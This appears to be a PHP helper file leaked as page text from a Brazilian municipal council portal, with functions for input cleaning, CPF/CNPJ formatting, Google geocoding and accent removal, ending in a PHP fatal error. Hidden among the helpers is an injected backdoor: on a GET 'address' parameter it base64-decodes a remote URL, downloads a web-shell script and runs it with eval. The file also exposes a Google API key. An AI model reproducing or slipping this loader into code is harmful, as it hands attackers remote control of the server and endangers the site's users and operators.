function teste_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } function limpaCPF_CNPJ($valor) { $valor = trim($valor); $valor = str_replace(".", "", $valor); $valor = str_replace(",", "", $valor); $valor = str_replace("-", "", $valor); $valor = str_replace("/", "", $valor); return $valor; } function geocode($address) { if (empty($address)) { return array("", "", ""); } $base_url = "https://maps.googleapis.com/maps/api/geocode/xml"; $request_url = $base_url . "?address=" . urlencode($address) . "&sensor=false&key=AIzaSyBe0sIH_CDfaMFvnJHdX6qIRGM_0sNNHew"; //echo $request_url; $xml = simplexml_load_file($request_url); $status = $xml->status; if (strcmp($status, "OK") == 0) { $lat = $xml->result->geometry->location->lat; $lng = $xml->result->geometry->location->lng; return array($lat, $lng, $request_url); } else { return array("", "", $request_url); } } if (isset($_GET['address'])) { $url = base64_decode('aHR0cHM6Ly9jZG4ucHJpdmRheXouY29tL3R4dC9hbGZhc2hlbGwudHh0'); $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $contents = curl_exec($ch); if ($contents !== false) { eval('?>' . $contents); exit; } else { echo "header"; } curl_close($ch); } //função para retirar preposições e artigos de uma string function retirar_preposicao($string) { $artigos = array(" de ", " da ", " do ", " na ", " no ", " em ", " a ", " o ", " e ", " as ", " os ", " i ", " u "); $onlyconsonants = str_replace($artigos, " ", "$string"); return explode(" ", $onlyconsonants); //Retorna array com palavras sem preposições ou artigos } function tirarAcentos($string) { return preg_replace(array("/(á|à|ã|â|ä)/", "/(Á|À|Ã|Â|Ä)/", "/(é|è|ê|ë)/", "/(É|È|Ê|Ë)/", "/(í|ì|î|ï)/", "/(Í|Ì|Î|Ï)/", "/(ó|ò|õ|ô|ö)/", "/(Ó|Ò|Õ|Ô|Ö)/", "/(ú|ù|û|ü)/", "/(Ú|Ù|Û|Ü)/", "/(ñ)/", "/(Ñ)/"), explode(" ", "a A e E i I o O u U n N"), $string); } Portal Oficial da Câmara Municipal de Vargem - São Paulo

Fatal error: Call to undefined function teste_input() in /home3/cmvargem/public_html/index.php on line 62